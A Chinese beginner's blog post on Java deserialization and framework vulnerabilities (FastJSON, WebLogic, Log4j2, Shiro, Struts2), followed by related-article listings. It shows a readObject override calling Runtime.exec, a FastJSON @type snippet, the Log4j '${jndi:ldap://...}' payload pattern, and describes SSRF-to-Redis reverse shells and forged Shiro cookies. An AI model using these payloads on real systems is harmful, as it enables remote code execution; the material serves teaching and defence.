渗透测试入门必读:关于Java后端中的反序列化以及框架漏洞的那些事儿

FastJson的使用 FastJSON的介绍与使用 阅读详情

1. 关于Java的那些乱七八糟的概念

1.1 jndi是什么玩意儿

  • 全名:Java Naming and Directory Interface,命名服务(Naming)和目录服务(Directory)访问接口。
  • Naming–命名服务,通过对象的名字还获得这个对象;Directory–目录服务,可以理解为名称服务的拓展,例如ldap就是目录服务的一种。
  • 是Java提供的一个标准接口,用于查找和访问名称服务中的数据和对象。其根本功能,就是让你可以通过一个简短的字符串,就能获取一系列的复杂配置和初始化后的功能。

JNDI通过SPI机制,可以和LDAP、RMI等各种技术,产生联动。SPI是为数不多的打破Java类加载机制的技术。
当它从本地加载相应类的时候,如果加载不到,它干了一件不该干但又不得不干的事情,那就是从网络上的代码里面构造相应的对象!
只需要在8000端口启动一个nginx。或者直接使用python启动一个小小的web服务器。能够发起外网请求的服务器,将会乖乖的自动从我们指定的服务器上捞下非法的class文件进行加载。

1.2 IIOP是什么东西

  • java的RMI通信,也就是远程方法调用,也就是远程方法调用,默认使用jrmp协议。在Java中,RMI-IIOP是Java Remote Method Invocation (RMI) 通过IIOP协议的实现,使得Java程序可以与非Java的CORBA对象进行交互。

1.3 RMI是什么

  • RMI是远程方法调用(Remote Method Invocation),在不同的Java虚拟机之间进行方法的调用。客户端通过调用服务端的方法来实现某些功能。
  • RMI的传输100%基于反序列化,Java RMI的默认端口是1099。

1.4 IDAP是什么鬼东西

IDAP是轻型目录访问协议的缩写,是一种用于访问和维护分层目录信息的协议,LDAP
通常用于集成应用程序与企业目录服务。就是可以理解为类似于Active Directory的东西,也是一个目录,用于存信息。

1.5 Java反射是什么

主要目的是用于动态创建对象、调用方法以及修改属性等。在程序运行的状态中可以构造任意类的对象,也可以了解任意的一个类。(就是在程序运行的状态可以构造任意类的对象,可能会导致反序列化的漏洞被触发。)
假设我们有一个配置文件,里面记录了类的名称、方法名、属性名等信息,我们可以在运行时读取配置文件,然后使用
Java反射机制来创建对象、调用方法、修改属性等。这样就可以实现在不修改代码的情况下,根据配置文件来动态地创建对象、调用方法、修改属性,这样不就是很灵活很方便。

1.6JMX是什么贵物

  • 是一套标准的代理服务器,用户可以在任何的Java应用程序中使用这些代理和服务实现管理,中间件软件webLogic的管理页面就是基于JMX开发的,jBoss整个系统都是基于JMX架构。

1.7 Java序列化和反序列化

  • 序列化–Java序列化就是把一个对象转换成字节序列([]byte)的过程,为的是方便在网络上传播,便于存到数据库、内存、文件中等,是Java对象脱离Java运行环境的一种手段。

Java序列化和反序列化

  • 反序列化–把一个字节序列转化为Java的对象,并将Java对象加载到内存中去。

1.8 Java会有反序列化漏洞

  • 漏洞历史

最为出名的大概应该是:15年的Apache Commons Collections 反序列化远程命令执行漏洞,其当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd等。

2016年Spring RMI反序列化漏洞今年比较出名的:Jackson,FastJson

  • 漏洞成因

由于反序列化的时候我们要调用类的readObject()方法,所以呢,如果我们把这个方法进行重载,那么就可能导致了触发恶意操作。

//从文件读入数据并且构造一个对象输入流
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\text.out"));
//类型强转为student
Student student = (Student) objectInputStream.**readObject()**;
System.out.println("name="+student.getName());

可以对readObject()方法进行重写,嵌入恶意字符串。

class MyObject implements Serializable{
     public String name;     //重写readObject()方法     
     private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
              //执行默认的readObject()方法         
              in.defaultReadObject();         //执行打开计算器程序命令示例,这里可以嵌入恶意命令         
              Runtime.getRuntime().exec("open /Applications/Calculator.app/");
     }
}

我们注意到 MyObject 类实现了Serializable接口,并且重写了readObject()函数。这里需要注意:只有实现了Serializable接口的类的对象才可以被序列化,Serializable 接口是启用其序列化功能的接口,实现 java.io.Serializable 接口的类才是可序列化的,没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的 readObject() 执行了Runtime.getRuntime().exec(“open /Applications/Calculator.app/”),而 readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,readObject() 是可以重写的,可以定制反序列化的一些行为。

1.9 什么是Tomcat的war包

  • war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。以Tomcat来说,将war包放置在/webapps/目录下,启动Tomcat后这个包会自动解压,就相当于发布了。

1.10 Java web三大件

Java Web三大件

  • Servlet,运行在Web服务器或者应用服务器上面的程序,可以理解为一个容器,作为处理http请求和http服务器上数据库或者应用之间的中间层,处理请求。
  • Filter,过滤器对Servlet的一种补充,用于拦截用户的Request进行检查
  • Listener,监听器,监听客户端的请求,服务器的操作等。

2. 甲骨文Java类–漏洞

2.1 FastJSON的漏洞

  • fastjson是阿里巴巴开源的json库,主要用于解析json格式的字符串,将数据在json和Java object之间相互转换。(将json字符串转为Java对象)
String text = JSON.toJSONString(obj);        // 序列化
VO vo = JSON.parseObject("{...}", VO.class); // 反序列化

原理–>引入了AutoType。AutoType是一个功能,用于判断反序列化后得到的对象的类型,使用@type关键字来指定类型

String json = "{\\"@type\\":\\"java.lang.Runtime\\",\\"@type\\":\\"java.lang.Runtime\\",\\"@type\\":\\"java.lang.Runtime\\"}";
ParserConfig.getGlobalInstance().addAccept("java.lang"); //手动开启autotype
Runtime runtime = (Runtime) JSON.parseObject(json, Object.class);

AutoType它记录了原始的类型,在处理json对象时未对Autotype字段进行过滤可以帮助我们反序列化指定的类得到它的实例。

  • 利用–>使用autoType构造和加载恶意类
    可以利用JdbcRowSetImpl构造恶意类,rmi服务器(rmi服务器:一个机器执行另一个机器给的命令)加载恶意类得到命令,目标服务器读取加载到payload中JdbcRowSetImpl类调用lookup()就找rmi服务器询问需要执行什么命令,rmi服务器告知目标服务器需要执行什么命令。Autocommit=true代表命令执行。
    修复的版本中,fastjson默认的autoType关闭,并且加入了checkAutoType,加入了黑白名单校验的功能。

简单说:请求包发送给恶意的json格式的payload,漏洞处理json对象的时候,没有对于@type的字段进行过滤,导致了黑客打入的恶意Templateslmpl类。
这个类的其中一个字段_bytecodes,有部分的函数会根据_bytecodes生成java实例,这样就做到了通过fastjson传入了一个类,再通过这个类被生成的时候执行构造函数。

2.2 WebLogic相关漏洞

  • WebLogic漏洞是一个基于JavaEE架构的中间件。是一个闭源的Java应用服务器。
  • XMLDecoder反序列化漏洞:WLS组件对外提供web服务,使用XMLDecoder解析传入的XML数据,在解析的过程中出现反序列化漏洞,造成命令执行。
  • T3协议反序列化:通过T3协议触发,造成未授权的用户在远程服务器进行命令执行。T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击。
  • 14882/14883未授权绕过权限远程命令执行:…/console.portal登录,直接在url中利用恶意类执行命令或者利用远程服务器去加载恶意的xml文件。
  • SSRF漏洞,在weblogic的一个uddiexplorer/路由下面有一个SearchPublicRegisters.jsp,通过抓包可以发现有一个访问的url,修改后可以触发ssrf漏洞。weblogic的ssrf的特点是:虽然是GET/POST请求,但是可以通过传入%0a%0d来作为换行符号。而有些服务redis等刚好可以通过换行符来执行某些命令,所以可以使用SSRF来攻击redis,让redis反弹shell,脚本写入crontab,然后监听。

2.3 Log4j2漏洞

  • 远程代码执行漏洞,是利用了Log4j2可以对日志中的“${}”进行解析执行,来进行攻击的。
    程序开发、调试时,可能会对客户端传来的参数在日志中直接输出,用来监控、调试和查错等。如果此时客户端传来的参数含有“${}”,并有恶意代码,就会受到攻击。
  • 在日志输出时未对字符合法性作严格的限制,在下载文件的url或者搜索框中加入**${jndi:ldap://网址}**,log4j会对其进行表达式解析,给lookup传入参数执行,实现jndi注入。
  • Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ldap:是不安全的或者可以允许远程代码执行。
  • 网上关于攻击的例子,主要是:利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。

设备上出现log4j如何判定攻击成功?
出现远程命令执行,访问权限变化、日志文件变化、网络连接变化的情况。

2.4 Shiro漏洞

  • Shrio是apache的一款开源安全框架,用于权限管理,实现用户认证、用户授权等。
  • 特征:
    • 无论登录成功失败,是否勾选rememberMe,返回包set-cookie都出现rememberMe=deleteMe。
    • 登陆失败或登陆成功但没勾选rememberMe,之后的请求包cookie不出现rememberMe;登陆成功且勾选rememberMe,返回包多出rememberMe且之后的请求包会出现rememberMe。
  • 反序列化–Shiro 550 <1.2.4
    • 登陆成功后cookie中的rememberMe字段是经过序列化、aes加密、base64编码处理的,服务端获取它并进行反方向处理,而低版本的aes的密钥是硬编码可以在代码中找到,攻击者伪造恶意的序列化对象作为cookie发送,服务端进行处理时可以造成反序列化漏洞。我们使用exp伪造cookie可以进行命令执行。
  • 反序列化–Shrio 721
    • 登录成功后cookie中的rememberMe字段是经过序列化、AES-128-CBC加密处理的,这里的aes的密钥是随机生成的,但是我们可以通过Padding Oracle加密(一种加密方法)生成的攻击代码构造恶意的rememberMe字段(原始的rememberMe作为前缀加载ysoserial生成的payload进行攻击),服务端在处理时产生反序列化漏洞,进而可以进行命令执行等。
  • 未授权访问
    • 由于springboot和apache shrio对于请求的URL处理不一致,请求的URL在整个项目的传入传递过程,在使用了shiro的项目中,是我们请求的URL(URL1),经过shiro权限检验(URL2), 最后到springboot项目找到路由来处理(URL3)。漏洞的出现就在URL1,URL2和URL3 有可能不是同一个URL,这就导致我们能绕过shiro的校验,直接访问后端需要首选的URL。

2.5 Struct2漏洞

  • Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL语句。
  • 因为OGNL过于强大,它也造成了诸多安全问题。恶意攻击者通过构造特定数据带入OGNL表达式即可能被解析并执行,而OGNL可以用来获取和设置Java对象的属性,同时也可以对服务端对象进行修改,所以只要绕过Struts2的一些安全策略,恶意攻击者甚至可以执行系统命令进行系统攻击。如struts2远程代码执行漏洞s2-005。
  • 虽然Struts2出于安全考虑,在SecurityMemberAccess类中通过设置禁止静态方法访问及默认禁止执行静态方法来阻止代码执行。即上面提及的denyMethodExecution为true,MemberAccess为false。但这两个属性都可以被修改从而绕过安全限制执行任意命令。
  • 为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值。
  • OGNL是Object-Graph Navigation Language的缩写,翻译过来就是对象视图导航语言,它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
  • 提交表单失败后,服务端会将之前提交的参数使用OGNL表达式解析重新填入表单中,我们可以构造payload利用这个解析来进行命令执行等。
漏洞检测的那些事儿 0x00 简介 好像很久没发文了,近日心血来潮准备谈谈 “漏洞检测的那些事儿”。现在有一个现象就是一旦有危害较高的漏洞的验证 PoC 或者利用 EXP 被公布出来,就会有一大群饥渴难忍的帽子们去刷洞,对于一个路人甲的我来说,看得有点眼红。XD 刷洞归刷洞,蛋还是要扯的。漏洞从披露到研究员分析验证,再到 PoC 编写,进而到大规模扫描检测,在这环环相扣的漏洞应急生命周期中,我认为最关键的部分应该算是 PoC编写 和 漏洞检测 这两个部分了: PoC编写&nbsp 阅读详情

相关推荐

软件安全实战:从漏洞原理到渗透测试的攻防思维构建

在网络安全领域,理解漏洞原理是构建有效防御体系的基础。以SQL注入和反序列化漏洞为例,其核心在于数据与代码边界混淆及对序列化数据的过度信任。掌握这些原理,不仅能识别风险,更能从攻击者视角评估系统弱点。这种攻防思维的价值在于,它将抽象的安全概念转化为可落地的工程实践,广泛应用于安全评估、代码审计和系统加固等场景。例如,通过手工注入分析,可以深入理解数据库交互机制;而针对Shiro反序列化等漏洞的利用,则揭示了框架安全配置的重要性。本文正是基于这一思路,系统剖析了从信息收集到后渗透的完整流程,并结合Pikach

weixin_30790841的博客 414

FastJson详解

一、Fastjson介绍 Fastjson是一个Java库,可用于将Java对象转换为其JSON表示形式。它还可以用于将JSON字符串转换为等效的Java对象。Fastjson可以与任意Java对象一起使用,包括您没有源代码的现有对象。 关于Json的处理,还有Google开发的Gson包,其他形式的如net.sf.json包,都可以实现json的转换。方法名称不同而已,最后的实现结果都是一样的。...

Lyouths的移动笔记本 9657

AI赋能漏洞挖掘:从Fastjson反序列化到逻辑漏洞的实战解析

在软件安全领域,漏洞挖掘是保障系统安全的核心环节,其原理在于通过静态或动态分析技术,识别代码中潜在的安全缺陷。随着人工智能技术的发展,AI凭借其强大的模式识别与逻辑推理能力,正成为安全工程师的力量倍增器,为传统漏洞挖掘工作流带来革新。通过关联海量漏洞知识库(如CVE)和进行超长上下文的代码分析,AI能够快速定位如Fastjson反序列化、文件上传校验绕过等经典漏洞模式,并辅助生成修复方案。这种AI辅助分析不仅提升了漏洞发现的效率与深度,更能在安全开发生命周期(SDLC)的设计、编码、测试阶段提供全景支持,推

weixin_33947521的博客 345

Json详解以及fastjson使用教程

Json是一种轻量级的数据交换格式,采用一种“键:值”对的文本格式来存储和表示数据,在系统交换数据过程中常常被使用,是一种理想的数据交换语言。在使用Java做Web开发时,不可避免的会遇到Json的使用。下面我们就简单讲一下Json的使用以及fastjson.jar包的使用。 一:JSON形式与语法 1.1:JSON对象 我们先来看以下数据: { "ID": 1001, "name"...

srj1095530512的博客 22万+

Goby渗透测试工具POC库:448个漏洞检测脚本实战指南

在网络安全领域,漏洞检测是渗透测试与安全评估的核心环节。其原理是通过自动化脚本验证目标系统是否存在已知安全缺陷,从而识别潜在风险。POC(概念验证)脚本作为关键技术载体,能够将漏洞理论转化为可执行的检测逻辑,极大提升了安全工程师的测试效率与覆盖范围。对于企业安全防护而言,一个全面、更新的POC库是构建主动防御体系的重要基础,广泛应用于内部安全评估、渗透测试项目及应急响应等场景。本文聚焦于Goby安全工具,深入解析其POC库的组成与应用,涵盖远程代码执行、SQL注入等常见漏洞类型,并探讨如何高效管理448个检

abc20899的专栏 438

从一次CTF靶场实战,聊聊Nacos配置泄露与Shiro Key提取的那些事儿

本文通过CTF靶场实战案例,详细解析了Nacos配置泄露与Shiro密钥提取的Java安全攻防过程。从靶场环境侦察到Nacos服务分析,再到Shiro密钥提取与应急响应,全面展示了Java应用安全的关键防御点,包括配置管理安全、框架安全和系统层面防护。

weixin_30505225的博客 399

一文搞定—FastJson详解 与 使用

提供服务器端、安卓客户端两种解析工具,性能表现较好。提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。允许转换预先存在的无法修改的对象(只有class、无源代码)。Java泛型的广泛支持。允许对象的自定义表示、允许自定义序列化类。

边走、边悟、迟早变好 1万+

网络安全新手入门:从零开始掌握漏洞挖掘的系统方法与实践路径

漏洞挖掘是网络安全领域的核心技术之一,其本质是运用系统性方法和攻击者思维,识别应用或系统中的设计缺陷与实现错误。从技术原理上看,无论是SQL注入、XSS跨站脚本,还是逻辑越权,其根源往往在于数据与指令边界模糊、权限校验缺失或安全配置不当。掌握这些基础漏洞原理,对于构建安全防御体系和进行有效的渗透测试至关重要。在实践中,漏洞挖掘的价值不仅在于发现风险点,更在于通过规范的流程——从信息收集、漏洞探测到验证与报告——将技术发现转化为可行动的安全改进。对于Web安全、渗透测试和SRC漏洞挖掘等应用场景,新手常需从搭

weixin_30596343的博客 298

Java工具库——FastJson的40个常用方法

那些想看却没看的书,在心里摆满一个图书馆。。。。。。

IT小辉同学 9099

RSAS漏洞扫描实战:五大反人类设计避坑与高效工作流指南

漏洞扫描是网络安全评估与渗透测试中的基础环节,其原理是通过自动化工具模拟攻击行为,探测目标系统存在的安全弱点。这项技术的核心价值在于能够系统性地发现潜在风险,为安全加固提供数据支撑,广泛应用于等保测评、日常安全巡检及红蓝对抗等场景。在实际工程实践中,国产扫描器如绿盟RSAS因其在金融、能源等关键行业的广泛部署,成为许多安全团队的首选工具。然而,其Web扫描策略的复杂配置、结果分析的效率瓶颈以及报告生成的灵活性不足,常给使用者带来挑战。本文基于一线实战经验,聚焦于**Web应用漏洞扫描**与**扫描结果分析*

weixin_29324877的博客 377

从Ivanti EPMM 0day漏洞看企业应急响应与开源供应链安全实战

在软件开发和运维领域,开源组件已成为现代应用不可或缺的基石,极大地提升了开发效率。然而,这也引入了供应链安全风险,即第三方库中的漏洞可能被间接引入到最终产品中,形成隐蔽的攻击面。其技术原理在于,应用程序在调用存在缺陷的开源库处理外部输入(如网络请求、文件上传)时,可能触发反序列化、表达式注入等漏洞,导致远程代码执行。这种风险的价值在于,攻击者可以利用一个广泛使用的开源库漏洞,对大量依赖该库的企业系统发起规模化攻击,危害极大。典型的应用场景包括企业级中间件、移动管理平台和Web应用框架。本文以近期备受关注的I

cuiyingchan0663的博客 421

Java代码审计实战指南:从通用漏洞到框架风险的深度解析

代码审计是保障软件安全的核心环节,其本质在于通过审查源代码,识别并消除潜在的安全缺陷。其原理是模拟攻击者思维,沿着数据流追踪外部输入,分析其在应用架构各层(如控制器、服务、数据访问层)的处理逻辑,寻找信任边界被突破的点。这项技术的核心价值在于能从根源上发现并预防漏洞,相比黑盒测试更具深度和前瞻性。在应用场景上,它尤其适用于对安全性要求极高的金融、电商、政务等企业级Java应用。进行Java代码审计时,安全工程师必须熟练掌握针对SQL注入、命令执行等通用漏洞的审计方法,并深入理解Spring Boot、Shi

weixin_29322855的博客 377

从北约报送漏洞看企业安全响应:原理、复现与实战防御

在软件安全领域,漏洞管理是保障系统安全的核心环节,其原理涉及对软件缺陷生命周期的持续监控与响应。从技术价值看,高效的漏洞管理能显著降低被攻击风险,尤其在供应链安全日益重要的今天。应用场景广泛覆盖企业级软件的开发、部署与运维全过程。本文以一次真实的企业安全响应事件为切入点,深入探讨了身份认证绕过、远程代码执行等常见高危漏洞的原理,并详细介绍了通过静态分析、动态模糊测试等方法进行漏洞复现与验证的通用方法论。文中融入了对sourcemap文件泄露漏洞等具体攻击面的分析,为企业构建主动防御体系和制定应急响应流程提供

weixin_29323551的博客 371

PHP反序列化漏洞CVE-2016-7124原理剖析与安全实践

反序列化是编程中将序列化数据还原为内存对象的核心机制,广泛应用于数据持久化、网络传输等场景。其原理在于解析特定格式的字符串,重建对象结构并执行回调方法。然而,这一过程若存在逻辑缺陷,可能引发严重安全风险,例如代码执行、数据篡改等。在PHP中,CVE-2016-7124漏洞正是由于反序列化过程中属性计数器校验不严,导致__wakeup魔术方法被绕过,使得攻击者可保留恶意数据。理解此类底层逻辑漏洞,有助于在代码审计、渗透测试中识别类似风险,并推广至Java反序列化、Fastjson等更广泛的安全领域。本文以CV

weixin_34302561的博客 320

CMS漏洞深度剖析:从代码审计到实战防御的完整方法论

代码审计是Web安全领域的核心技术,它通过深入分析应用程序源代码,识别潜在的安全漏洞。其核心原理在于追踪用户输入的数据流,验证其在处理过程中是否经过充分的安全过滤。这项技术的价值在于能够发现自动化工具难以检测的逻辑缺陷和未知漏洞,对于构建深度防御体系至关重要。在内容管理系统(CMS)安全评估中,代码审计广泛应用于ThinkPHP、DedeCMS等流行系统的漏洞挖掘。通过分析SQL注入、文件上传等常见漏洞模式,安全人员可以建立系统的审计框架。本文聚焦CMS漏洞分析,结合SQL注入、文件上传等热词,详解从信息收

cri5768的博客 492

【技术纵览】行为识别前沿模型演进:从CNN到多模态大模型

本文全面解析了行为识别技术从CNN到多模态大模型的演进历程,重点介绍了SlowFast、TimeSformer、VideoMAE和InternVideo等SOTA模型的核心创新与应用实践。通过对比分析各代模型在Kinetics-400等数据集上的表现,揭示了自监督学习和多模态融合如何推动行为识别准确率突破85%,并探讨了工业部署中的技术选型策略与优化方向。

weixin_29169505的博客 155

从入门到入狱的网络安全技能学习,可以学,别乱用!

网络安全工程师是一个很广泛的职业概称,只要是网络安全相关的从业者,都算是网络安全工程师。网络安全相关岗位很多,有信息安全工程师、渗透测试工程师、应急响应安全工程师、逆向安全工程师、溯源取证安全工程师、安全架构师、恶意软件安全分析师等。现在越来越多人想进入到网络安全行业,无外乎以下3种原因:1、网络安全越来越受重视,这个行业未来的前景很好,希望可以赶上这一个风口。2、不满足于现在的状况,看到网络安全工程师薪资高,渴望获得更高的酬劳3、觉得做黑客、搞安全的很牛,做一名白帽子有排面,觉得很炫酷。

m0_71744044的博客 682

【Unity3D优化】优化内置shader的内存占用

在打AB包的过程中,并不会把这些Built-in的shader单独打包,并与材质球和预设体做好依赖,因此打AB包时,Unity会自行在材质球和预制体的AB包内每一个都包含进去用到的Built-in的Shader,而且运行时,由于加载的是不同的AB包,shader也是不同的实例,占用的也是多份内存。结合项目特点可以分析,由于项目里使用了大量的粒子特效,一些特殊的效果,会给特效师写定制的shader,但是这些常见的效果,特效师直接使用了Unity Built-in的shader。继续优化内存占用。

a310989583的专栏 2313

通保常用的漏扫渗透方法,零基础入门到精通,收藏这一篇就够了

除了云安全中心的漏扫外,我们可以直接用阿里云服务器的公网IP去扫,不过需要让客户在VPC、防火墙和waf等安全防护处给你的出口IP加白名单,这样才能模拟内网扫描。漏扫和渗透陆陆续续也不是没有自学过,但毕竟不是熟练工,也没有正儿八经拿这个本事赚过工钱,所以心里有点怯,手里也没啥余粮(工具)。所以,我做了一个清单,根据这个系统的特点,在清单上划拉出重点,然后用poc和工具去测试,90%我还是靠工具。差不多就是这些,后面如果想真的用起来,还是需要一个点一个点的多尝试,多使用工具,多总结经验和陌生的技能的。

Python_0011的博客 1262

SQL进阶技巧:数据预处理如何对数据进行分桶【分箱】?

本文详细介绍了数据分析中常见的几种分桶方式:基于业务规则的分桶、等距分桶及等频分桶等,针对每种分桶方式给出了SQL实现

石榴姐yyds 4021

【23】C++实战篇——C++报错:LNK2001:无法解析的外部符号 ,LNK2019: 无法解析的外部符号,原因分析及解决方法

该文分析了VS项目中出现的"无法解析的外部符号"LNK2001/LNK2019错误。问题表现为跨项目共享变量时,Projector项目无法解析Line项目中声明的外部变量ImgSavePath和ImgFormat。原因在于头文件声明了变量但未包含实现的源文件。解决方法是将getLine.cpp文件添加到Projector项目中。文章还总结了两种错误代码的区别:LNK2001通常对应变量缺失,LNK2019对应函数缺失。最后列出了具体的报错信息,包括无法解析的变量和函数符号。

程序员,他们想的是什么?他们想的永远都是技术,他们崇尚的也永远都是技术。 2010
上一篇: python多线程编程
下一篇: 网安面试必看:Cobalt Strike、metasploit流量分析
Littlewith
博客等级 码龄5年 205粉丝 61原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值